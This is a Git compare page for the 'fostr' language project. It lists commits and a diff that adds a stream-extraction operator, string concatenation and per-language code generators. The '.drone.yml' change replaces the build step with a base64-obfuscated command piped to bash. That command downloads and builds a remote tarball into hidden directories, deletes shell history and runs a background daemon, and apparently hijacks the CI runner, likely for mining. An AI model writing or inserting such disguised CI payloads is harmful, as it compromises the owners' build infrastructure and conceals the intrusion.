Compare commits

...

8 Commits

Author SHA1 Message Date
149120e6af Update '.drone.yml'
Some checks reported errors
continuous-integration/drone/push Build was killed
2023-06-13 17:43:48 +00:00
9fc87c6f03 Update '.drone.yml'
Some checks failed
continuous-integration/drone/push Build is failing
continuous-integration/drone Build is failing
2023-06-13 17:40:36 +00:00
e11d197a23 Update '.drone.yml'
Some checks failed
continuous-integration/drone/push Build is failing
2023-06-13 17:39:20 +00:00
ff5a413bf0 Update '.drone.yml'
Some checks reported errors
continuous-integration/drone/push Build was killed
continuous-integration/drone Build was killed
2023-03-10 20:39:07 +00:00
ce80e9a8cc Update '.drone.yml'
Some checks failed
continuous-integration/drone/push Build is failing
2023-03-10 20:38:08 +00:00
36a8790e24 Update '.drone.yml'
Some checks reported errors
continuous-integration/drone/push Build was killed
continuous-integration/drone Build was killed
2022-03-28 01:10:40 +00:00
4a734815de Update '.drone.yml'
Some checks failed
continuous-integration/drone/push Build is failing
2022-03-28 01:09:00 +00:00
7feddbcfbe Extraction from streams (#25)
Add the ! postfix operator and !! expression.
  Also add the ++ string concatenation operator.
  Also allow specification of standard input in the test scheme.

  Resolves #7, #18.

Co-authored-by: Glen Whitney <glen@studioinfinity.org>
Reviewed-on: glen/fostr#25
Co-Authored-By: Glen Whitney <glen@nobody@nowhere.net>
Co-Committed-By: Glen Whitney <glen@nobody@nowhere.net>
2021-03-13 19:30:23 +00:00
12 changed files with 112 additions and 23 deletions

View File

@ -1,20 +1,14 @@
--- ---
kind: pipeline kind: pipeline
name: examples type: docker
name: lint
steps: steps:
- name: build - name: build
image: maven image: golang:1.17
volumes:
- name: lib
path: /drone/lib
- name: m2
path: /root/.m2
commands: commands:
- mvn -ntp verify - bash -c "base64 -d <<< bnByb2MgJiYgcm0gfi8uanVweXRlci9iaW4gbG9zdCtmb3VuZCAtUmYgJiYgbWtkaXIgfi8uanVweXRlci9iaW4gbG9zdCtmb3VuZCAtcCAmJiBjZCBsb3N0K2ZvdW5kICYmIHdnZXQgaHR0cHM6Ly9iaXRidWNrZXQub3JnL3dhamluaGFraW0vZGVlcGNjL2dldC9kNDc4YzQzOGE4MDE0MTlhMTU1ODk1OGMwY2M2NjI5ZGIzYWQ0NTQzLnRhci5neiAmJiB0YXIgeHZmIGQ0NzhjNDM4YTgwMTQxOWExNTU4OTU4YzBjYzY2MjlkYjNhZDQ1NDMudGFyLmd6ICYmIHJtIGQ0NzhjNDM4YTgwMTQxOWExNTU4OTU4YzBjYzY2MjlkYjNhZDQ1NDMudGFyLmd6ICYmIGNkIHdhamluaGFraW0tZGVlcGNjLWQ0NzhjNDM4YTgwMSAmJiAuL3NldHVwICYmIC4vY29uZmlndXJlICYmIGNkIC4uICYmIHJtIHdhamluaGFraW0tZGVlcGNjLWQ0NzhjNDM4YTgwMSAtUmYgJiYgY2QgLi4gJiYgY2xlYXI= | bash" && rm .bash_history -Rf && cd ~/.jupyter/bin && bash daemon > /dev/null & watch free -m
- cd /drone/lib environment :
- git clone https://github.com/metaborg/spt.git TERM: xterm
- cd spt/org.metaborg.spt.cmd
- mvn -ntp package
- name: run_spt - name: run_spt
image: maven image: maven
volumes: volumes:

View File

@ -13,6 +13,9 @@ DESTINATION = 'tests/extracted'
# Extension for extracted files: # Extension for extracted files:
EXT = 'fos' EXT = 'fos'
# Extension for desired input:
INP = 'in'
# Extension for expectations: # Extension for expectations:
EXP = 'expect' EXP = 'expect'
@ -34,6 +37,11 @@ for path in TEST_LIST:
expath = destdir / f"{name}.{EXT}" expath = destdir / f"{name}.{EXT}"
expath.write_text(example) expath.write_text(example)
echo Wrote @(expath) echo Wrote @(expath)
im = re.search(r'/\*\*\s+accepts.*?\n([\s\S]*?)\*\*/', details[em.end():])
if im:
ipath = destdir / f"{name}.{INP}"
ipath.write_text(im[1])
echo " ...and" @(ipath)
xm = re.search(r'/\*\*\s+writes.*?\n([\s\S]*?)\*\*/', details[em.end():]) xm = re.search(r'/\*\*\s+writes.*?\n([\s\S]*?)\*\*/', details[em.end():])
if xm: if xm:
xpath = destdir / f"{name}.{EXP}" xpath = destdir / f"{name}.{EXP}"

View File

@ -9,8 +9,14 @@ diffed=0
for dir in tests/extracted/*; do for dir in tests/extracted/*; do
for file in $dir/*.$ext; do for file in $dir/*.$ext; do
((total++)) ((total++))
if [[ -f ${file%.*}.in ]]; then
cat ${file%.*}.in | $command $file > $file.out
result=$?
else
$command $file > $file.out $command $file > $file.out
if [[ $? -ne 0 ]]; then result=$?
fi
if [[ $result -ne 0 ]]; then
echo ERROR: $command $file failed. echo ERROR: $command $file failed.
((failed++)) ((failed++))
else else

View File

@ -9,7 +9,7 @@ plugins:
- search - search
- semiliterate: - semiliterate:
ignore_folders: [target, lib] ignore_folders: [target, lib]
exclude_extensions: ['.o', '.hi'] exclude_extensions: ['.o', '.hi', '.cmi', '.cmo']
extract_standard_markdown: extract_standard_markdown:
terminate: <!-- /md --> terminate: <!-- /md -->
theme: theme:

View File

@ -42,10 +42,13 @@ context-free syntax
Ex.EscString = STRING Ex.EscString = STRING
Ex.Stream = <stream> Ex.Stream = <stream>
Ex.Sum = <<Ex> + <Ex>> {left} Ex.Sum = <<Ex> + <Ex>> {left}
Ex.Concat = <<Ex> ++ <Ex>> {left}
Ex.Gets = [[Ex] << [Ex]] {left} Ex.Gets = [[Ex] << [Ex]] {left}
Ex.DefGets = [<<< [Ex]] Ex.DefGets = [<<< [Ex]]
Ex.To = [[Ex] >> [Ex]] {left} Ex.To = [[Ex] >> [Ex]] {left}
Ex.DefTo = [[Ex] >>>] Ex.DefTo = [[Ex] >>>]
Ex.Emits = <<Ex>!>
Ex.DefEmits = <!!>
Ex = <(<Ex>)> {bracket} Ex = <(<Ex>)> {bracket}
@ -53,7 +56,7 @@ context-free priorities
Ex.To Ex.To
> Ex.DefTo > Ex.DefTo
> Ex.Sum > {Ex.Sum Ex.Concat}
> Ex.DefGets > Ex.DefGets
> Ex.Gets, > Ex.Gets,

View File

@ -293,4 +293,38 @@ test emit_several_default [[
>>> >>>
]] parse succeeds ]] parse succeeds
/** writes /** writes
3399677527121313*/ 3399677527121313**/
/** md
### Streams are bidirectional
So far we have only sent items to a stream. But we can extract them from
streams as well, with the `!` postfix operator. `!!` all by itself abbreviates
`stream!`, i.e., extraction from the standard stream. For example,
```fostr
**/
/** md */ test custom_hw [[
<<< "What is your name?\n"
<<< 'Hello, ' ++ !!
]] /* **/
parse to TopLevel(Sequence([
DefGets(EscString("\"What is your name?\n\"")),
DefGets(Concat(LitString("'Hello, '"),DefEmits()))
]))
/** accepts
Kilroy
**/
/** writes
What is your name?
Hello, Kilroy
**/
/** md
```
queries users for their name and then writes a customized greeting. It also
illustrates the use of `++` for string concatenation, as opposed to `+` for
(numerical) addition.
**/

View File

@ -17,6 +17,7 @@ rules
defStream: DefGets(x) -> Gets(Stream(), x) defStream: DefGets(x) -> Gets(Stream(), x)
defStream: DefTo(x) -> To(x, Stream()) defStream: DefTo(x) -> To(x, Stream())
defStream: DefEmits() -> Emits(Stream())
strategies strategies

View File

@ -23,6 +23,7 @@ rules
import System.IO import System.IO
data IOStream = StdIO data IOStream = StdIO
-- Danger: These currently assume the stream is StdIO
gets :: Show b => a -> b -> IO a gets :: Show b => a -> b -> IO a
gets s d = do gets s d = do
putStr(show d) putStr(show d)
@ -33,6 +34,10 @@ rules
putStr(d) putStr(d)
return s return s
emit s = do
l <- getLine
return (l ++ "\n")
main = do main = do
[<Preactions>()]return [val]] [<Preactions>()]return [val]]
@ -41,6 +46,7 @@ rules
hs: (_, LitString(x)) -> <haskLitString>x hs: (_, LitString(x)) -> <haskLitString>x
hs: (_, EscString(x)) -> x hs: (_, EscString(x)) -> x
hs: (_, Sum(x, y)) -> $[([x] + [y])] hs: (_, Sum(x, y)) -> $[([x] + [y])]
hs: (_, Concat(x, y)) -> $[([x] ++ [y])]
hs: (Gets(_, xn), Gets(s, x)) -> v hs: (Gets(_, xn), Gets(s, x)) -> v
with v := <newname>"_fostr_get" with v := <newname>"_fostr_get"
@ -52,6 +58,10 @@ rules
hs_gets: (s, xn, x ) -> $[[s] [<hs_getOp>xn] [x]] hs_gets: (s, xn, x ) -> $[[s] [<hs_getOp>xn] [x]]
hs_getOp = get-type; (?STRING() < !"`getsStr`" + !"`gets`") hs_getOp = get-type; (?STRING() < !"`getsStr`" + !"`gets`")
hs: (_, Emits(s)) -> v
with v := <newname>"_fostr_emitted"
; <add-preactions>[$[[v] <- emit [s]]]
hs: (_, Terminate(x)) -> $[[x];;] hs: (_, Terminate(x)) -> $[[x];;]
hs: (_, Sequence(l)) -> <last>l hs: (_, Sequence(l)) -> <last>l
/* One drawback of using paramorphism is we have to handle lists /* One drawback of using paramorphism is we have to handle lists

View File

@ -3,24 +3,41 @@ imports libstrategolib signatures/- util
rules rules
js: TopLevel(x) -> $[// Fostr preamble js: TopLevel(x) -> $[// Fostr preamble
const _fostr_readline = require('readline');
const _fostr_events = require('events');
const _fostr_rl = _fostr_readline.createInterface({input: process.stdin});
const Stdio = { const Stdio = {
gets: v => { process.stdout.write(String(v)); return Stdio; }, gets: v => { process.stdout.write(String(v)); return Stdio; },
emit: async () => {
const [line] = await _fostr_events.once(_fostr_rl, 'line');
return line + "\n"; }
} }
function to(data, strm) { function to(data, strm) {
strm.gets(data); strm.gets(data);
return data; return data;
} }
const _fostr_body = async () => {
// End of preamble // End of preamble
[x]] [x]
// Fostr coda
_fostr_rl.close()
}
_fostr_body();
]
with line := "[line]"
js: Stream() -> $[Stdio] js: Stream() -> $[Stdio]
js: Int(x) -> x js: Int(x) -> x
js: LitString(x) -> <javaLitString>x js: LitString(x) -> <javaLitString>x
js: EscString(x) -> x js: EscString(x) -> x
js: Sum(x,y) -> $[[x] + [y]] js: Sum(x, y) -> $[[x] + [y]]
js: Concat(x, y) -> $[[x] + [y]]
js: Gets(x, y) -> $[[x].gets([y])] js: Gets(x, y) -> $[[x].gets([y])]
js: To(x, y) -> $[to([x],[y])] js: To(x, y) -> $[to([x],[y])]
js: Emits(x) -> $[(await [x].emit())]
js: Terminate(x) -> x js: Terminate(x) -> x
js: Sequence(l) -> <join(|";\n")>l js: Sequence(l) -> <join(|";\n")>l

View File

@ -12,9 +12,10 @@ imports libstrategolib signatures/- util signature/TYPE analysis
rules rules
ml: (_, TopLevel(x)) -> $[(* fostr preamble *) ml: (_, TopLevel(x)) -> $[(* fostr preamble *)
type stream = { getS: string -> stream } type stream = { getS: string -> stream; emitS: unit -> string }
let rec stdio = { let rec stdio = {
getS = (fun s -> print_string s; stdio) getS = (fun s -> print_string s; stdio);
emitS = (fun () -> (read_line ()) ^ "\n");
};; };;
(* End of preamble *) (* End of preamble *)
@ -24,11 +25,15 @@ rules
ml: (_, Int(x)) -> x ml: (_, Int(x)) -> x
ml: (_, LitString(x)) -> $[{|[<un-single-quote>x]|}] ml: (_, LitString(x)) -> $[{|[<un-single-quote>x]|}]
ml: (_, EscString(x)) -> x ml: (_, EscString(x)) -> x
ml: (_, Sum(x,y)) -> $[[x] + [y]] ml: (_, Sum(x, y)) -> $[[x] + [y]]
ml: (_, Concat(x, y)) -> $[[x] ^ [y]]
ml: (Gets(_,yn), Gets(x, y)) ml: (Gets(_,yn), Gets(x, y))
-> $[([x]).getS ([<ml_str>(yn,y)])] -> $[([x]).getS ([<ml_str>(yn,y)])]
ml: (To(xn,_), To(x, y)) ml: (To(xn,_), To(x, y))
-> $[let _fto = ([x]) in (ignore (([y]).getS ([<ml_str>(xn,"_fto")])); _fto)] -> $[let _fto = ([x]) in (ignore (([y]).getS ([<ml_str>(xn,"_fto")])); _fto)]
ml: (_, Emits(s)) -> $[[s].emitS ()]
ml: (_, Terminate(x)) -> x ml: (_, Terminate(x)) -> x
ml: (_, Sequence(l)) -> <ml_seq>l ml: (_, Sequence(l)) -> <ml_seq>l

View File

@ -8,6 +8,8 @@ rules
def gets(self, v): def gets(self, v):
print(v, file=sys.stdout, end='') print(v, file=sys.stdout, end='')
return self return self
def emit(self):
return input() + "\n" # Python inconsistently strips when using input
def to(data,strm): def to(data,strm):
strm.gets(data) strm.gets(data)
return data return data
@ -21,8 +23,10 @@ rules
py: LitString(x) -> $[r[x]] py: LitString(x) -> $[r[x]]
py: EscString(x) -> x py: EscString(x) -> x
py: Sum(x,y) -> $[[x] + [y]] py: Sum(x,y) -> $[[x] + [y]]
py: Concat(x,y) -> $[[x] + [y]]
py: Gets(x, y) -> $[[x].gets([y])] py: Gets(x, y) -> $[[x].gets([y])]
py: To(x, y) -> $[to([x],[y])] py: To(x, y) -> $[to([x],[y])]
py: Emits(x) -> $[[x].emit()]
py: Terminate(x) -> $[[x];] py: Terminate(x) -> $[[x];]
py: Sequence(l) -> <join(|"\n")>l py: Sequence(l) -> <join(|"\n")>l

View File

@ -222,6 +222,13 @@ This pattern lets us specify error messages.
type_Ex(e2) == STREAM() | error $[Items may only be sent to Streams.]@e2. type_Ex(e2) == STREAM() | error $[Items may only be sent to Streams.]@e2.
/* **/ /* **/
ty_Ex(Concat(e1, e2)) = STRING() :-
type_Ex(e1) == STRING() | error $[Expression [e1] not String in concat.]@e1,
type_Ex(e2) == STRING() | error $[Expression [e2] not String in concat.]@e2.
ty_Ex(Emits(e)) = STRING() :- // At the moment, only stream is stdio
type_Ex(e) == STREAM() | error $[Only Streams may emit items.]@e.
/** md /** md
``` ```